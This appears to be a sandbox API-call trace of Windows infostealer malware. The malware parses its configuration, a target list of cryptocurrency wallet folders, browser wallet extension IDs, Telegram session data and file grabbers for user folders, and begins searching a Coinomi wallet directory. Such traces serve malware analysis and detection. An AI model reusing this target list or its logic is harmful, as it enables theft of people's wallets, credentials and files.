Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0266.231] lstrlenW (lpString="coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 4184 [0266.231] LocalAlloc (uFlags=0x40, uBytes=0x2130) returned 0x6fc408 [0266.231] StrCpyW (in: psz1=0x6f7178, psz2="*" | out: psz1="*") returned="*" [0266.231] LocalFree (hMem=0x6fc408) returned 0x0 [0266.231] StrStrW (lpFirst="-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="\n") returned="\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0266.231] lstrlenW (lpString="coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 4184 [0266.232] LocalAlloc (uFlags=0x40, uBytes=0x2130) returned 0x6fc408 [0266.232] StrCpyW (in: psz1=0x6f9ac0, psz2="-" | out: psz1="-") returned="-" [0266.232] LocalFree (hMem=0x6fc408) returned 0x0 [0266.232] StrToIntW (lpSrc="28") returned 28 [0266.232] LocalAlloc (uFlags=0x40, uBytes=0x20a) returned 0x6bf278 [0266.232] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x6bf278, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\kEecfMwgj\\AppData\\Local") returned 1 [0266.232] PathCombineW (in: pszDest=0x6bf278, pszDir="C:\\Users\\kEecfMwgj\\AppData\\Local", pszFile="Coinomi\\Coinomi\\wallets" | out: pszDest="C:\\Users\\kEecfMwgj\\AppData\\Local\\Coinomi\\Coinomi\\wallets") returned="C:\\Users\\kEecfMwgj\\AppData\\Local\\Coinomi\\Coinomi\\wallets" [0266.232] LocalAlloc (uFlags=0x40, uBytes=0x2000) returned 0x6fc408 [0266.232] LocalAlloc (uFlags=0x40, uBytes=0x20a) returned 0x6bfcf0 [0266.232] StrCpyW (in: psz1=0x6bfcf0, psz2="C:\\Users\\kEecfMwgj\\AppData\\Local\\Coinomi\\Coinomi\\wallets" | out: psz1="C:\\Users\\kEecfMwgj\\AppData\\Local\\Coinomi\\Coinomi\\wallets") returned="C:\\Users\\kEecfMwgj\\AppData\\Local\\Coinomi\\Coinomi\\wallets" [0266.232] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Coinomi\\Coinomi\\wallets\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\coinomi\\coinomi\\wallets\\*"), lpFindFileData=0x24f880 | out: lpFindFileData=0x24f880*(dwFileAttributes=0x6e2228, ftCreationTime.dwLowDateTime=0x751dc35e, ftCreationTime.dwHighDateTime=0x6bf278, ftLastAccessTime.dwLowDateTime=0x21, ftLastAccessTime.dwHighDateTime=0x24f89c, ftLastWriteTime.dwLowDateTime=0xe3, ftLastWriteTime.dwHighDateTime=0x24f8de, nFileSizeHigh=0x3a0043, nFileSizeLow=0x55005c, dwReserved0=0x650073, dwReserved1=0x730072, cFileName="\\kEecfMwgj\\AppData\\Local\\Coinomi\\Coinomi\\wЁ", cAlternateFileName="kk")) returned 0xffffffff [0266.233] LocalFree (hMem=0x6fc408) returned 0x0 [0266.233] LocalFree (hMem=0x6bf278) returned 0x0 [0266.234] LocalFree (hMem=0x6ef5a0) returned 0x0 [0266.234] LocalFree (hMem=0x6f1ee8) returned 0x0 [0266.235] LocalFree (hMem=0x6f4830) returned 0x0 [0266.236] LocalFree (hMem=0x6f7178) returned 0x0 [0266.236] LocalFree (hMem=0x6f9ac0) returned 0x0 [0266.237] StrStrW (lpFirst="wlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="wlts_") 